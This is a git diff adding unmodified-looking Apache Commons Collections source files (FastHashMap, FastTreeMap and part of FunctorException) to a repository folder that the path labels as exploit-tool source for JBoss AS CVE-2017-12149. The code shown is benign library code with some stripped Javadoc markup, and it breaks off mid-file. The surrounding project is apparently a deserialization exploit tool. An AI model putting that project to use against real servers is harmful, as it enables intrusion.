diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastHashMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastHashMap.java"
new file mode 100644
index 0000000..7426add
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastHashMap.java"
@@ -0,0 +1,714 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * java.util.HashMap
designed
+ * to operate in a multithreaded environment where the large majority of
+ * method calls are read-only, instead of structural changes. When operating
+ * in "fast" mode, read calls are non-synchronized and write calls perform the
+ * following steps:
+ *
+ * setFast(true)
) after initialization
+ * is complete.HashMap
only within a single thread, you should use
+ * java.util.HashMap
directly (with no synchronization), for
+ * maximum performance.null
if the map contains no mapping for this key, or if
+ * there is a mapping with a value of null
. Use the
+ * containsKey()
method to disambiguate these cases.
+ *
+ * @param key the key whose value is to be returned
+ * @return the value mapped to that key, or null
+ */
+ public Object get(Object key) {
+ if (fast) {
+ return (map.get(key));
+ } else {
+ synchronized (map) {
+ return (map.get(key));
+ }
+ }
+ }
+
+ /**
+ * Return the number of key-value mappings in this map.
+ *
+ * @return the current size of the map
+ */
+ public int size() {
+ if (fast) {
+ return (map.size());
+ } else {
+ synchronized (map) {
+ return (map.size());
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains no mappings.
+ *
+ * @return is the map currently empty
+ */
+ public boolean isEmpty() {
+ if (fast) {
+ return (map.isEmpty());
+ } else {
+ synchronized (map) {
+ return (map.isEmpty());
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains a mapping for the
+ * specified key.
+ *
+ * @param key the key to be searched for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ if (fast) {
+ return (map.containsKey(key));
+ } else {
+ synchronized (map) {
+ return (map.containsKey(key));
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains one or more keys mapping
+ * to the specified value.
+ *
+ * @param value the value to be searched for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ if (fast) {
+ return (map.containsValue(value));
+ } else {
+ synchronized (map) {
+ return (map.containsValue(value));
+ }
+ }
+ }
+
+ // Map modification
+ // ----------------------------------------------------------------------
+ // These methods perform special behaviour in 'fast' mode.
+ // The map is cloned, updated and then assigned back.
+ // See the comments at the top as to why this won't always work.
+
+ /**
+ * Associate the specified value with the specified key in this map.
+ * If the map previously contained a mapping for this key, the old
+ * value is replaced and returned.
+ *
+ * @param key the key with which the value is to be associated
+ * @param value the value to be associated with this key
+ * @return the value previously mapped to the key, or null
+ */
+ public Object put(Object key, Object value) {
+ if (fast) {
+ synchronized (this) {
+ HashMap temp = (HashMap) map.clone();
+ Object result = temp.put(key, value);
+ map = temp;
+ return (result);
+ }
+ } else {
+ synchronized (map) {
+ return (map.put(key, value));
+ }
+ }
+ }
+
+ /**
+ * Copy all of the mappings from the specified map to this one, replacing
+ * any mappings with the same keys.
+ *
+ * @param in the map whose mappings are to be copied
+ */
+ public void putAll(Map in) {
+ if (fast) {
+ synchronized (this) {
+ HashMap temp = (HashMap) map.clone();
+ temp.putAll(in);
+ map = temp;
+ }
+ } else {
+ synchronized (map) {
+ map.putAll(in);
+ }
+ }
+ }
+
+ /**
+ * Remove any mapping for this key, and return any previously
+ * mapped value.
+ *
+ * @param key the key whose mapping is to be removed
+ * @return the value removed, or null
+ */
+ public Object remove(Object key) {
+ if (fast) {
+ synchronized (this) {
+ HashMap temp = (HashMap) map.clone();
+ Object result = temp.remove(key);
+ map = temp;
+ return (result);
+ }
+ } else {
+ synchronized (map) {
+ return (map.remove(key));
+ }
+ }
+ }
+
+ /**
+ * Remove all mappings from this map.
+ */
+ public void clear() {
+ if (fast) {
+ synchronized (this) {
+ map = new HashMap();
+ }
+ } else {
+ synchronized (map) {
+ map.clear();
+ }
+ }
+ }
+
+ // Basic object methods
+ // ----------------------------------------------------------------------
+
+ /**
+ * Compare the specified object with this list for equality. This
+ * implementation uses exactly the code that is used to define the
+ * list equals function in the documentation for the
+ * Map.equals
method.
+ *
+ * @param o the object to be compared to this list
+ * @return true if the two maps are equal
+ */
+ public boolean equals(Object o) {
+ // Simple tests that require no synchronization
+ if (o == this) {
+ return (true);
+ } else if (!(o instanceof Map)) {
+ return (false);
+ }
+ Map mo = (Map) o;
+
+ // Compare the two maps for equality
+ if (fast) {
+ if (mo.size() != map.size()) {
+ return (false);
+ }
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ Map.Entry e = (Map.Entry) i.next();
+ Object key = e.getKey();
+ Object value = e.getValue();
+ if (value == null) {
+ if (!(mo.get(key) == null && mo.containsKey(key))) {
+ return (false);
+ }
+ } else {
+ if (!value.equals(mo.get(key))) {
+ return (false);
+ }
+ }
+ }
+ return (true);
+
+ } else {
+ synchronized (map) {
+ if (mo.size() != map.size()) {
+ return (false);
+ }
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ Map.Entry e = (Map.Entry) i.next();
+ Object key = e.getKey();
+ Object value = e.getValue();
+ if (value == null) {
+ if (!(mo.get(key) == null && mo.containsKey(key))) {
+ return (false);
+ }
+ } else {
+ if (!value.equals(mo.get(key))) {
+ return (false);
+ }
+ }
+ }
+ return (true);
+ }
+ }
+ }
+
+ /**
+ * Return the hash code value for this map. This implementation uses
+ * exactly the code that is used to define the list hash function in the
+ * documentation for the Map.hashCode
method.
+ *
+ * @return suitable integer hash code
+ */
+ public int hashCode() {
+ if (fast) {
+ int h = 0;
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ h += i.next().hashCode();
+ }
+ return (h);
+ } else {
+ synchronized (map) {
+ int h = 0;
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ h += i.next().hashCode();
+ }
+ return (h);
+ }
+ }
+ }
+
+ /**
+ * Return a shallow copy of this FastHashMap
instance.
+ * The keys and values themselves are not copied.
+ *
+ * @return a clone of this map
+ */
+ public Object clone() {
+ FastHashMap results = null;
+ if (fast) {
+ results = new FastHashMap(map);
+ } else {
+ synchronized (map) {
+ results = new FastHashMap(map);
+ }
+ }
+ results.setFast(getFast());
+ return (results);
+ }
+
+ // Map views
+ // ----------------------------------------------------------------------
+
+ /**
+ * Return a collection view of the mappings contained in this map. Each
+ * element in the returned collection is a Map.Entry
.
+ */
+ public Set entrySet() {
+ return new EntrySet();
+ }
+
+ /**
+ * Return a set view of the keys contained in this map.
+ */
+ public Set keySet() {
+ return new KeySet();
+ }
+
+ /**
+ * Return a collection view of the values contained in this map.
+ */
+ public Collection values() {
+ return new Values();
+ }
+
+ // Map view inner classes
+ // ----------------------------------------------------------------------
+
+ /**
+ * Abstract collection implementation shared by keySet(), values() and entrySet().
+ */
+ private abstract class CollectionView implements Collection {
+
+ public CollectionView() {
+ }
+
+ protected abstract Collection get(Map map);
+ protected abstract Object iteratorNext(Map.Entry entry);
+
+
+ public void clear() {
+ if (fast) {
+ synchronized (FastHashMap.this) {
+ map = new HashMap();
+ }
+ } else {
+ synchronized (map) {
+ get(map).clear();
+ }
+ }
+ }
+
+ public boolean remove(Object o) {
+ if (fast) {
+ synchronized (FastHashMap.this) {
+ HashMap temp = (HashMap) map.clone();
+ boolean r = get(temp).remove(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).remove(o);
+ }
+ }
+ }
+
+ public boolean removeAll(Collection o) {
+ if (fast) {
+ synchronized (FastHashMap.this) {
+ HashMap temp = (HashMap) map.clone();
+ boolean r = get(temp).removeAll(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).removeAll(o);
+ }
+ }
+ }
+
+ public boolean retainAll(Collection o) {
+ if (fast) {
+ synchronized (FastHashMap.this) {
+ HashMap temp = (HashMap) map.clone();
+ boolean r = get(temp).retainAll(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).retainAll(o);
+ }
+ }
+ }
+
+ public int size() {
+ if (fast) {
+ return get(map).size();
+ } else {
+ synchronized (map) {
+ return get(map).size();
+ }
+ }
+ }
+
+
+ public boolean isEmpty() {
+ if (fast) {
+ return get(map).isEmpty();
+ } else {
+ synchronized (map) {
+ return get(map).isEmpty();
+ }
+ }
+ }
+
+ public boolean contains(Object o) {
+ if (fast) {
+ return get(map).contains(o);
+ } else {
+ synchronized (map) {
+ return get(map).contains(o);
+ }
+ }
+ }
+
+ public boolean containsAll(Collection o) {
+ if (fast) {
+ return get(map).containsAll(o);
+ } else {
+ synchronized (map) {
+ return get(map).containsAll(o);
+ }
+ }
+ }
+
+ public Object[] toArray(Object[] o) {
+ if (fast) {
+ return get(map).toArray(o);
+ } else {
+ synchronized (map) {
+ return get(map).toArray(o);
+ }
+ }
+ }
+
+ public Object[] toArray() {
+ if (fast) {
+ return get(map).toArray();
+ } else {
+ synchronized (map) {
+ return get(map).toArray();
+ }
+ }
+ }
+
+
+ public boolean equals(Object o) {
+ if (o == this) return true;
+ if (fast) {
+ return get(map).equals(o);
+ } else {
+ synchronized (map) {
+ return get(map).equals(o);
+ }
+ }
+ }
+
+ public int hashCode() {
+ if (fast) {
+ return get(map).hashCode();
+ } else {
+ synchronized (map) {
+ return get(map).hashCode();
+ }
+ }
+ }
+
+ public boolean add(Object o) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection c) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Iterator iterator() {
+ return new CollectionViewIterator();
+ }
+
+ private class CollectionViewIterator implements Iterator {
+
+ private Map expected;
+ private Map.Entry lastReturned = null;
+ private Iterator iterator;
+
+ public CollectionViewIterator() {
+ this.expected = map;
+ this.iterator = expected.entrySet().iterator();
+ }
+
+ public boolean hasNext() {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ lastReturned = (Map.Entry)iterator.next();
+ return iteratorNext(lastReturned);
+ }
+
+ public void remove() {
+ if (lastReturned == null) {
+ throw new IllegalStateException();
+ }
+ if (fast) {
+ synchronized (FastHashMap.this) {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ FastHashMap.this.remove(lastReturned.getKey());
+ lastReturned = null;
+ expected = map;
+ }
+ } else {
+ iterator.remove();
+ lastReturned = null;
+ }
+ }
+ }
+ }
+
+ /**
+ * Set implementation over the keys of the FastHashMap
+ */
+ private class KeySet extends CollectionView implements Set {
+
+ protected Collection get(Map map) {
+ return map.keySet();
+ }
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry.getKey();
+ }
+
+ }
+
+ /**
+ * Collection implementation over the values of the FastHashMap
+ */
+ private class Values extends CollectionView {
+
+ protected Collection get(Map map) {
+ return map.values();
+ }
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry.getValue();
+ }
+ }
+
+ /**
+ * Set implementation over the entries of the FastHashMap
+ */
+ private class EntrySet extends CollectionView implements Set {
+
+ protected Collection get(Map map) {
+ return map.entrySet();
+ }
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry;
+ }
+
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastTreeMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastTreeMap.java"
new file mode 100644
index 0000000..7cf2dbf
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FastTreeMap.java"
@@ -0,0 +1,823 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.TreeMap;
+
+/**
+ * java.util.TreeMap
designed
+ * to operate in a multithreaded environment where the large majority of
+ * method calls are read-only, instead of structural changes. When operating
+ * in "fast" mode, read calls are non-synchronized and write calls perform the
+ * following steps:
+ *
+ * setFast(true)
) after initialization
+ * is complete.TreeMap
only within a single thread, you should use
+ * java.util.TreeMap
directly (with no synchronization), for
+ * maximum performance.null
if the map contains no mapping for this key, or if
+ * there is a mapping with a value of null
. Use the
+ * containsKey()
method to disambiguate these cases.
+ *
+ * @param key the key whose value is to be returned
+ * @return the value mapped to that key, or null
+ */
+ public Object get(Object key) {
+ if (fast) {
+ return (map.get(key));
+ } else {
+ synchronized (map) {
+ return (map.get(key));
+ }
+ }
+ }
+
+ /**
+ * Return the number of key-value mappings in this map.
+ *
+ * @return the current size of the map
+ */
+ public int size() {
+ if (fast) {
+ return (map.size());
+ } else {
+ synchronized (map) {
+ return (map.size());
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains no mappings.
+ *
+ * @return is the map currently empty
+ */
+ public boolean isEmpty() {
+ if (fast) {
+ return (map.isEmpty());
+ } else {
+ synchronized (map) {
+ return (map.isEmpty());
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains a mapping for the
+ * specified key.
+ *
+ * @param key the key to be searched for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ if (fast) {
+ return (map.containsKey(key));
+ } else {
+ synchronized (map) {
+ return (map.containsKey(key));
+ }
+ }
+ }
+
+ /**
+ * Return true
if this map contains one or more keys mapping
+ * to the specified value.
+ *
+ * @param value the value to be searched for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ if (fast) {
+ return (map.containsValue(value));
+ } else {
+ synchronized (map) {
+ return (map.containsValue(value));
+ }
+ }
+ }
+
+ /**
+ * Return the comparator used to order this map, or null
+ * if this map uses its keys' natural order.
+ *
+ * @return the comparator used to order the map, or null if natural order
+ */
+ public Comparator comparator() {
+ if (fast) {
+ return (map.comparator());
+ } else {
+ synchronized (map) {
+ return (map.comparator());
+ }
+ }
+ }
+
+ /**
+ * Return the first (lowest) key currently in this sorted map.
+ *
+ * @return the first key in the map
+ */
+ public Object firstKey() {
+ if (fast) {
+ return (map.firstKey());
+ } else {
+ synchronized (map) {
+ return (map.firstKey());
+ }
+ }
+ }
+
+ /**
+ * Return the last (highest) key currently in this sorted map.
+ *
+ * @return the last key in the map
+ */
+ public Object lastKey() {
+ if (fast) {
+ return (map.lastKey());
+ } else {
+ synchronized (map) {
+ return (map.lastKey());
+ }
+ }
+ }
+
+
+ // Map modification
+ // ----------------------------------------------------------------------
+ // These methods perform special behaviour in 'fast' mode.
+ // The map is cloned, updated and then assigned back.
+ // See the comments at the top as to why this won't always work.
+
+ /**
+ * Associate the specified value with the specified key in this map.
+ * If the map previously contained a mapping for this key, the old
+ * value is replaced and returned.
+ *
+ * @param key the key with which the value is to be associated
+ * @param value the value to be associated with this key
+ * @return the value previously mapped to the key, or null
+ */
+ public Object put(Object key, Object value) {
+ if (fast) {
+ synchronized (this) {
+ TreeMap temp = (TreeMap) map.clone();
+ Object result = temp.put(key, value);
+ map = temp;
+ return (result);
+ }
+ } else {
+ synchronized (map) {
+ return (map.put(key, value));
+ }
+ }
+ }
+
+ /**
+ * Copy all of the mappings from the specified map to this one, replacing
+ * any mappings with the same keys.
+ *
+ * @param in the map whose mappings are to be copied
+ */
+ public void putAll(Map in) {
+ if (fast) {
+ synchronized (this) {
+ TreeMap temp = (TreeMap) map.clone();
+ temp.putAll(in);
+ map = temp;
+ }
+ } else {
+ synchronized (map) {
+ map.putAll(in);
+ }
+ }
+ }
+
+ /**
+ * Remove any mapping for this key, and return any previously
+ * mapped value.
+ *
+ * @param key the key whose mapping is to be removed
+ * @return the value removed, or null
+ */
+ public Object remove(Object key) {
+ if (fast) {
+ synchronized (this) {
+ TreeMap temp = (TreeMap) map.clone();
+ Object result = temp.remove(key);
+ map = temp;
+ return (result);
+ }
+ } else {
+ synchronized (map) {
+ return (map.remove(key));
+ }
+ }
+ }
+
+ /**
+ * Remove all mappings from this map.
+ */
+ public void clear() {
+ if (fast) {
+ synchronized (this) {
+ map = new TreeMap();
+ }
+ } else {
+ synchronized (map) {
+ map.clear();
+ }
+ }
+ }
+
+
+ // Basic object methods
+ // ----------------------------------------------------------------------
+
+ /**
+ * Compare the specified object with this list for equality. This
+ * implementation uses exactly the code that is used to define the
+ * list equals function in the documentation for the
+ * Map.equals
method.
+ *
+ * @param o the object to be compared to this list
+ * @return true if the two maps are equal
+ */
+ public boolean equals(Object o) {
+ // Simple tests that require no synchronization
+ if (o == this) {
+ return (true);
+ } else if (!(o instanceof Map)) {
+ return (false);
+ }
+ Map mo = (Map) o;
+
+ // Compare the two maps for equality
+ if (fast) {
+ if (mo.size() != map.size()) {
+ return (false);
+ }
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ Map.Entry e = (Map.Entry) i.next();
+ Object key = e.getKey();
+ Object value = e.getValue();
+ if (value == null) {
+ if (!(mo.get(key) == null && mo.containsKey(key))) {
+ return (false);
+ }
+ } else {
+ if (!value.equals(mo.get(key))) {
+ return (false);
+ }
+ }
+ }
+ return (true);
+ } else {
+ synchronized (map) {
+ if (mo.size() != map.size()) {
+ return (false);
+ }
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ Map.Entry e = (Map.Entry) i.next();
+ Object key = e.getKey();
+ Object value = e.getValue();
+ if (value == null) {
+ if (!(mo.get(key) == null && mo.containsKey(key))) {
+ return (false);
+ }
+ } else {
+ if (!value.equals(mo.get(key))) {
+ return (false);
+ }
+ }
+ }
+ return (true);
+ }
+ }
+ }
+
+ /**
+ * Return the hash code value for this map. This implementation uses
+ * exactly the code that is used to define the list hash function in the
+ * documentation for the Map.hashCode
method.
+ *
+ * @return a suitable integer hash code
+ */
+ public int hashCode() {
+ if (fast) {
+ int h = 0;
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ h += i.next().hashCode();
+ }
+ return (h);
+ } else {
+ synchronized (map) {
+ int h = 0;
+ Iterator i = map.entrySet().iterator();
+ while (i.hasNext()) {
+ h += i.next().hashCode();
+ }
+ return (h);
+ }
+ }
+ }
+
+ /**
+ * Return a shallow copy of this FastTreeMap
instance.
+ * The keys and values themselves are not copied.
+ *
+ * @return a clone of this map
+ */
+ public Object clone() {
+ FastTreeMap results = null;
+ if (fast) {
+ results = new FastTreeMap(map);
+ } else {
+ synchronized (map) {
+ results = new FastTreeMap(map);
+ }
+ }
+ results.setFast(getFast());
+ return (results);
+ }
+
+
+ // Sub map views
+ // ----------------------------------------------------------------------
+
+ /**
+ * Return a view of the portion of this map whose keys are strictly
+ * less than the specified key.
+ *
+ * @param key Key higher than any in the returned map
+ * @return a head map
+ */
+ public SortedMap headMap(Object key) {
+ if (fast) {
+ return (map.headMap(key));
+ } else {
+ synchronized (map) {
+ return (map.headMap(key));
+ }
+ }
+ }
+
+ /**
+ * Return a view of the portion of this map whose keys are in the
+ * range fromKey (inclusive) to toKey (exclusive).
+ *
+ * @param fromKey Lower limit of keys for the returned map
+ * @param toKey Upper limit of keys for the returned map
+ * @return a sub map
+ */
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ if (fast) {
+ return (map.subMap(fromKey, toKey));
+ } else {
+ synchronized (map) {
+ return (map.subMap(fromKey, toKey));
+ }
+ }
+ }
+
+ /**
+ * Return a view of the portion of this map whose keys are greater than
+ * or equal to the specified key.
+ *
+ * @param key Key less than or equal to any in the returned map
+ * @return a tail map
+ */
+ public SortedMap tailMap(Object key) {
+ if (fast) {
+ return (map.tailMap(key));
+ } else {
+ synchronized (map) {
+ return (map.tailMap(key));
+ }
+ }
+ }
+
+
+ // Map views
+ // ----------------------------------------------------------------------
+
+ /**
+ * Return a collection view of the mappings contained in this map. Each
+ * element in the returned collection is a Map.Entry
.
+ */
+ public Set entrySet() {
+ return new EntrySet();
+ }
+
+ /**
+ * Return a set view of the keys contained in this map.
+ */
+ public Set keySet() {
+ return new KeySet();
+ }
+
+ /**
+ * Return a collection view of the values contained in this map.
+ */
+ public Collection values() {
+ return new Values();
+ }
+
+ // Map view inner classes
+ // ----------------------------------------------------------------------
+
+ /**
+ * Abstract collection implementation shared by keySet(), values() and entrySet().
+ */
+ private abstract class CollectionView implements Collection {
+
+ public CollectionView() {
+ }
+
+ protected abstract Collection get(Map map);
+ protected abstract Object iteratorNext(Map.Entry entry);
+
+
+ public void clear() {
+ if (fast) {
+ synchronized (FastTreeMap.this) {
+ map = new TreeMap();
+ }
+ } else {
+ synchronized (map) {
+ get(map).clear();
+ }
+ }
+ }
+
+ public boolean remove(Object o) {
+ if (fast) {
+ synchronized (FastTreeMap.this) {
+ TreeMap temp = (TreeMap) map.clone();
+ boolean r = get(temp).remove(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).remove(o);
+ }
+ }
+ }
+
+ public boolean removeAll(Collection o) {
+ if (fast) {
+ synchronized (FastTreeMap.this) {
+ TreeMap temp = (TreeMap) map.clone();
+ boolean r = get(temp).removeAll(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).removeAll(o);
+ }
+ }
+ }
+
+ public boolean retainAll(Collection o) {
+ if (fast) {
+ synchronized (FastTreeMap.this) {
+ TreeMap temp = (TreeMap) map.clone();
+ boolean r = get(temp).retainAll(o);
+ map = temp;
+ return r;
+ }
+ } else {
+ synchronized (map) {
+ return get(map).retainAll(o);
+ }
+ }
+ }
+
+ public int size() {
+ if (fast) {
+ return get(map).size();
+ } else {
+ synchronized (map) {
+ return get(map).size();
+ }
+ }
+ }
+
+
+ public boolean isEmpty() {
+ if (fast) {
+ return get(map).isEmpty();
+ } else {
+ synchronized (map) {
+ return get(map).isEmpty();
+ }
+ }
+ }
+
+ public boolean contains(Object o) {
+ if (fast) {
+ return get(map).contains(o);
+ } else {
+ synchronized (map) {
+ return get(map).contains(o);
+ }
+ }
+ }
+
+ public boolean containsAll(Collection o) {
+ if (fast) {
+ return get(map).containsAll(o);
+ } else {
+ synchronized (map) {
+ return get(map).containsAll(o);
+ }
+ }
+ }
+
+ public Object[] toArray(Object[] o) {
+ if (fast) {
+ return get(map).toArray(o);
+ } else {
+ synchronized (map) {
+ return get(map).toArray(o);
+ }
+ }
+ }
+
+ public Object[] toArray() {
+ if (fast) {
+ return get(map).toArray();
+ } else {
+ synchronized (map) {
+ return get(map).toArray();
+ }
+ }
+ }
+
+
+ public boolean equals(Object o) {
+ if (o == this) return true;
+ if (fast) {
+ return get(map).equals(o);
+ } else {
+ synchronized (map) {
+ return get(map).equals(o);
+ }
+ }
+ }
+
+ public int hashCode() {
+ if (fast) {
+ return get(map).hashCode();
+ } else {
+ synchronized (map) {
+ return get(map).hashCode();
+ }
+ }
+ }
+
+ public boolean add(Object o) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection c) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Iterator iterator() {
+ return new CollectionViewIterator();
+ }
+
+ private class CollectionViewIterator implements Iterator {
+
+ private Map expected;
+ private Map.Entry lastReturned = null;
+ private Iterator iterator;
+
+ public CollectionViewIterator() {
+ this.expected = map;
+ this.iterator = expected.entrySet().iterator();
+ }
+
+ public boolean hasNext() {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ return iterator.hasNext();
+ }
+
+ public Object next() {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ lastReturned = (Map.Entry)iterator.next();
+ return iteratorNext(lastReturned);
+ }
+
+ public void remove() {
+ if (lastReturned == null) {
+ throw new IllegalStateException();
+ }
+ if (fast) {
+ synchronized (FastTreeMap.this) {
+ if (expected != map) {
+ throw new ConcurrentModificationException();
+ }
+ FastTreeMap.this.remove(lastReturned.getKey());
+ lastReturned = null;
+ expected = map;
+ }
+ } else {
+ iterator.remove();
+ lastReturned = null;
+ }
+ }
+ }
+ }
+
+ /**
+ * Set implementation over the keys of the FastTreeMap
+ */
+ private class KeySet extends CollectionView implements Set {
+
+ protected Collection get(Map map) {
+ return map.keySet();
+ }
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry.getKey();
+ }
+
+ }
+
+ /**
+ * Collection implementation over the values of the FastTreeMap
+ */
+ private class Values extends CollectionView {
+
+ protected Collection get(Map map) {
+ return map.values();
+ }
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry.getValue();
+ }
+ }
+
+ /**
+ * Set implementation over the entries of the FastTreeMap
+ */
+ private class EntrySet extends CollectionView implements Set {
+
+ protected Collection get(Map map) {
+ return map.entrySet();
+ }
+
+
+ protected Object iteratorNext(Map.Entry entry) {
+ return entry;
+ }
+
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FunctorException.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FunctorException.java"
new file mode 100644
index 0000000..2da7788
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/FunctorException.java"
@@ -0,0 +1,143 @@
+/*
+ * Copyright 2001-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections;
+
+import java.io.PrintStream;
+import java.io.PrintWriter;
+
+/**
+ * Runtime exception thrown from functors.
+ * If required, a root cause error can be wrapped within this one.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.6 $ $Date: 2004/02/18 01:15:42 $
+ *
+ * @author Stephen Colebourne
+ */
+public class FunctorException extends RuntimeException {
+
+ /**
+ * Does JDK support nested exceptions
+ */
+ private static final boolean JDK_SUPPORTS_NESTED;
+
+ static {
+ boolean flag = false;
+ try {
+ Throwable.class.getDeclaredMethod("getCause", new Class[0]);
+ flag = true;
+ } catch (NoSuchMethodException ex) {
+ flag = false;
+ }
+ JDK_SUPPORTS_NESTED = flag;
+ }
+
+ /**
+ * Root cause of the exception
+ */
+ private final Throwable rootCause;
+
+ /**
+ * Constructs a new FunctorException
without specified
+ * detail message.
+ */
+ public FunctorException() {
+ super();
+ this.rootCause = null;
+ }
+
+ /**
+ * Constructs a new FunctorException
with specified
+ * detail message.
+ *
+ * @param msg the error message.
+ */
+ public FunctorException(String msg) {
+ super(msg);
+ this.rootCause = null;
+ }
+
+ /**
+ * Constructs a new FunctorException
with specified
+ * nested Throwable
root cause.
+ *
+ * @param rootCause the exception or error that caused this exception
+ * to be thrown.
+ */
+ public FunctorException(Throwable rootCause) {
+ super((rootCause == null ? null : rootCause.getMessage()));
+ this.rootCause = rootCause;
+ }
+
+ /**
+ * Constructs a new FunctorException
with specified
+ * detail message and nested Throwable
root cause.
+ *
+ * @param msg the error message.
+ * @param rootCause the exception or error that caused this exception
+ * to be thrown.
+ */
+ public FunctorException(String msg, Throwable rootCause) {
+ super(msg);
+ this.rootCause = rootCause;
+ }
+
+ /**
+ * Gets the cause of this throwable.
+ *
+ * @return the cause of this throwable, or null
+ */
+ public Throwable getCause() {
+ return rootCause;
+ }
+
+ /**
+ * Prints the stack trace of this exception to the standard error stream.
+ */
+ public void printStackTrace() {
+ printStackTrace(System.err);
+ }
+
+ /**
+ * Prints the stack trace of this exception to the specified stream.
+ *
+ * @param out the PrintStream
to use for output
+ */
+ public void printStackTrace(PrintStream out) {
+ synchronized (out) {
+ PrintWriter pw = new PrintWriter(out, false);
+ printStackTrace(pw);
+ // Flush the PrintWriter before it's GC'ed.
+ pw.flush();
+ }
+ }
